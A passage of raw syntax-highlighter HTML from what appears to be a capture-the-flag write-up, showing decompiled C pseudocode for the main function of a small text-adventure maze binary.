crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-186\">186<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-187\">187<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-188\">188<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-189\">189<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-190\">190<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-191\">191<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-192\">192<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-193\">193<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-194\">194<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-195\">195<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-196\">196<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-197\">197<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-198\">198<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-199\">199<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-200\">200<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-201\">201<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-202\">202<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-203\">203<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-204\">204<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-205\">205<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-206\">206<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-207\">207<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b1de589549069-1\" class=\"crayon-line\"><span class=\"crayon-c\">\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-c\">\/\/ Function declarations<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-3\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b1de589549069-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">__int64 <\/span><span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">__int64 <\/span><span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">a2<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">a3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-5\" class=\"crayon-line\"><span class=\"crayon-t\">int<\/span> <span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">sub_400CE0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-t\">int<\/span> <span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">sub_400DD0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-7\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b1de589549069-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-c\">\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-9\" class=\"crayon-line\"><span class=\"crayon-c\">\/\/ Data declarations<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-10\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1de589549069-11\" class=\"crayon-line\"><span class=\"crayon-e\">_UNKNOWN <\/span><span class=\"crayon-v\">unk_4013E0<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ weak<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-12\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">_UNKNOWN <\/span><span class=\"crayon-v\">unk_40575C<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ weak<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-13\" class=\"crayon-line\"><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">off_6060C0<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;You are trapped.&#8221;<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ weak<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-14\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">s1<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;west&#8221;<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ idb<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-15\" class=\"crayon-line\"><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">off_606148<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;north&#8221;<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ idb<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-16\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">off_606150<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;east&#8221;<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ idb<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-17\" class=\"crayon-line\"><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">off_606158<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;south&#8221;<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ idb<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-18\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">__int16 <\/span><span class=\"crayon-v\">word_606171<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ weak<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-19\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b1de589549069-20\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-c\">\/\/&#8212;&#8211; (00000000004008E0) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-21\" class=\"crayon-line\"><span class=\"crayon-e\">__int64 <\/span><span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">__int64 <\/span><span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">a2<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">a3<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-22\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-23\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__int16 <\/span><span class=\"crayon-v\">v3<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ di@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-24\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e \">_WORD *<\/span><span class=\"crayon-v\">v4<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rsi@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-25\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v5<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er14@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-26\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v6<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ ecx@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-27\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e \">_UNKNOWN *<\/span><span class=\"crayon-v\">v7<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rax@3<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-28\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">v8<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rdx@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-29\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v9<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er12@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-30\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v10<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er13@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-31\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v11<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er15@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-32\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v12<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er14@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-33\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">v13<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rbx@8<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-34\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">v14<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rbx@10<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-35\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">signed<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v16<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ eax@21<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-36\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">signed<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v17<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er12@23<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-37\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v18<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+Ch] [bp-64h]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-38\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__int16 <\/span><span class=\"crayon-v\">v19<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+10h] [bp-60h]@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-39\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+20h] [bp-50h]@8<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-40\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">_<\/span>t <span class=\"crayon-v\">n<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+30h] [bp-40h]@19<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-41\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b1de589549069-42\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">setbuf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">stdin<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-43\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">setbuf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">stdout<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-44\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">word_606171<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">257<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-45\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">puts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;You wake up and have a big headache.&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-46\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v18<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-47\" class=\"crayon-line\"><span class=\"crayon-v\">LABEL_2<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-48\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v3<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">word_606171<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-49\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v4<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">v19<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-50\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v5<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-51\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v6<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-52\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">LABEL_3<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-53\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">while<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-cn\">2<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-54\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-55\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">v4<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">v3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-56\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e \">_BYTE *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">v4<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v6<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v6<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-57\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-v\">v4<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-58\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v7<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">unk_4013E0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-59\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">do<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-60\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-61\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v4<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e \">_WORD *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-i\">v7<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-62\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-63\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">++<\/span><span class=\"crayon-v\">v6<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-cn\">4<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-64\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">LABEL_3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-65\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">LABEL_7<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-66\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-67\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v7<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-e \">_UNKNOWN *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">v7<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-68\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-69\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">while<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">v7<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">unk<\/span><span class=\"crayon-sy\">_<\/span>40575C <span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-70\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v16<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-o\">&lt;&lt;<\/span> <span class=\"crayon-v\">v6<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-71\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v5<\/span> <span class=\"crayon-o\">|=<\/span> <span class=\"crayon-v\">v16<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-72\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">v6<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-cn\">4<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-73\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">continue<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-74\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-75\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-76\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">LABEL_7<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-77\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v8<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">off_6060C0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">8<\/span> <span class=\"crayon-o\">*<\/span> <span class=\"crayon-v\">v5<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-78\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v9<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">v5<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-79\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v10<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">v5<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-80\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v11<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">v5<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-81\" class=\"crayon-line\"><span 